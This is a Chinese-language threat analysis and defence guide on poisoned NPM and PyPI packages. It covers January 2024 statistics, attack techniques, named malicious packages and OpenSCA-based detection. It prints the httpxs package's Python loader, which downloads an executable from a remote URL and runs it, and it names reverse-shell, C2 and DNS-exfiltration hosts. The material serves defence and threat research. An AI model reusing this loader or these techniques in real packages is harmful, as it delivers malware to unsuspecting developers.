开源供应链投毒攻击分析与防御指南

1. 供应链投毒概述

开源供应链投毒是指攻击者通过向开源软件仓库（如NPM、PyPI等）上传包含恶意代码的软件包，利用开发者对这些仓库的信任，在开发者安装或使用这些软件包时执行恶意行为。

1.1 2024年1月投毒统计数据

• 捕获总数：675个不同版本的恶意投毒包
• NPM仓库占比：90.48%
• PyPI仓库占比：9.52%
• 主要攻击目标：开发者系统的敏感数据（占比83%）

2. 主流投毒攻击方式

2.1 攻击方式分类及占比

1. 恶意文件执行（77%）
2. 代码混淆执行
3. 恶意文件下载
4. shell命令执行
5. 恶意文件释放
6. 恶意代码内存执行

2.2 攻击方式详解

2.2.1 恶意文件执行

• 原理：利用包管理器安装过程中执行自定义恶意指令
• 执行文件类型：py、pyc、js、shell、pe、dll、elf、so等
• 典型案例：
  • httpxs包：克隆合法httpx项目并植入恶意代码
  • update-requests包：通过拼写错误诱骗开发者安装

2.2.2 恶意文件下载执行

• 流程：

  1. 投毒包中的恶意代码执行
  2. 从远程服务器下载下一阶段恶意程序
  3. 在受害者系统上执行

• 示例代码（httpxs包）：

import requests
import subprocess
import threading
import os

path = os.environ["USERPROFILE"] + "\AppData\Local\explorer.exe"

def download():
    response = requests.get("https://cdn.discordapp.com/attachments/.../run_for_money.exe?...")
    with open(path, 'wb') as file:
        file.write(response.content)
    subprocess.run(path, shell=True)

2.2.3 恶意文件释放执行

• 实现方式：

  • 捆绑恶意程序到投毒包中
  • 将恶意代码编码后内嵌到代码文件中

• 典型案例（edgecompatible包）：

  • 捆绑伪装成msedge浏览器组件的木马
  • 通过index.js执行bin/autorun.bat
  • 利用UAC提示欺骗受害者提升权限

2.2.4 恶意代码内存执行

• 特点：

  • 无文件落盘
  • 动态分配RWX内存执行shellcode
  • 高隐蔽性

• 典型案例（httprequesthub包）：

  • 多阶段攻击：
    1. 从远程服务器下载加密代码
    2. 解密后执行第二阶段代码
    3. 通过eval执行第三阶段代码
    4. 分配RWX内存执行shellcode
  • 最终连接C2服务器：3478.qt-api-worker-threads.workers.dev

2.2.5 反向shell后门

• 目标：Linux系统开发环境
• 实现：通过shell命令反弹控制
• 典型案例（tensrflwo包）：
  • 仿冒tensorflow框架
  • 通过setup.py中的恶意函数反弹shell到59.110.111.85:8088

2.2.6 DNS查询外传信息

• 特点：隐蔽窃取信息
• 流程：
  1. 收集敏感数据
  2. 分块编码
  3. 通过DNS查询外传
• 典型案例（identity-auth包）：
  • 收集主机名、工作目录、用户名、外网IP
  • 16进制编码后分块
  • 通过nslookup发送到m4rwxmtkqz5wk2d1gfpk7fcqhhn8byzn.oastify.com

2.2.7 恶意代码混淆

• 目的：躲避静态分析
• 典型案例（noblox.js-proxy-server包）：
  • 通过postinstall执行混淆代码
  • 下载并执行恶意bat文件
  • bat文件下载最终payload：WindowsApi.exe

3. 攻击动机分析

1. 窃取敏感信息（83%）

   • 密码文件
   • 用户信息
   • 网络配置
   • 系统版本
   • DNS服务器IP
   • 外网IP
   • 浏览器cookie

2. 远控木马

3. 反向shell后门

4. 典型投毒案例分析

4.1 httpxs投毒包

• 目标：仿冒httpx HTTP客户端
• 攻击方式：
  1. 克隆合法项目
  2. 在__init__.py植入恶意代码
  3. 下载执行run_for_money.exe（VT检测为木马）

4.2 edgecompatible投毒包

• 目标：Windows系统npm开发者
• 攻击流程：
  1. 执行bin/autorun.bat
  2. 检查管理员权限
  3. 通过UAC提示欺骗执行cookie_export.exe
  4. 加载恶意msedge.dll
  5. 解密执行msedge.dat中的payload

4.3 httprequesthub投毒包

• 特点：多阶段无文件攻击
• 技术：
  • 内存分配与执行
  • 多层加密混淆
  • 16轮shellcode解码

4.4 tensrflwo投毒包

• 仿冒对象：tensorflow框架
• 技术：通过setup.py执行反向shell

5. 防御与检测方案

5.1 排查工具

使用OpenSCA-cli进行扫描：

1. 创建db.json文件（包含已知恶意包信息）
2. 执行命令：opensca-cli -db db.json -path ${project_path}

示例db.json：

[
  {
    "product": "httpxs",
    "version": "[0.0.1,0.0.1]",
    "language": "python",
    "id": "XMIRROR-MAL45-4856A664",
    "description": "Python恶意投毒包 httpxs"
  },
  {
    "product": "edgecompatible",
    "version": "[2.3.4,2.3.4]",
    "language": "javascript",
    "id": "XMIRROR-MAL45-921FB751",
    "description": "NPM恶意投毒包 edgecompatible"
  }
]

5.2 防御建议

1. 依赖源管理

   • 使用可信镜像源
   • 定期更新依赖白名单

2. 安装前检查

   • 验证包名拼写
   • 检查包下载量、维护者信息
   • 查看源代码变更记录

3. 运行时防护

   • 限制包管理器的网络访问
   • 监控异常进程行为
   • 使用沙箱环境测试新依赖

4. 开发环境加固

   • 最小权限原则
   • 定期审计依赖项
   • 启用安全防护软件

6. 总结与趋势

1. NPM是主要攻击目标
2. 攻击手法多样化：
   • 从简单文件执行到复杂内存攻击
   • 增加混淆和对抗技术
3. 检测挑战增大：
   • 无文件攻击增多
   • 多阶段攻击流程复杂化
4. 防御重点：
   • 供应链安全监控
   • 行为检测而非单纯特征匹配
   • 开发流程安全集成

附录：已知恶意包列表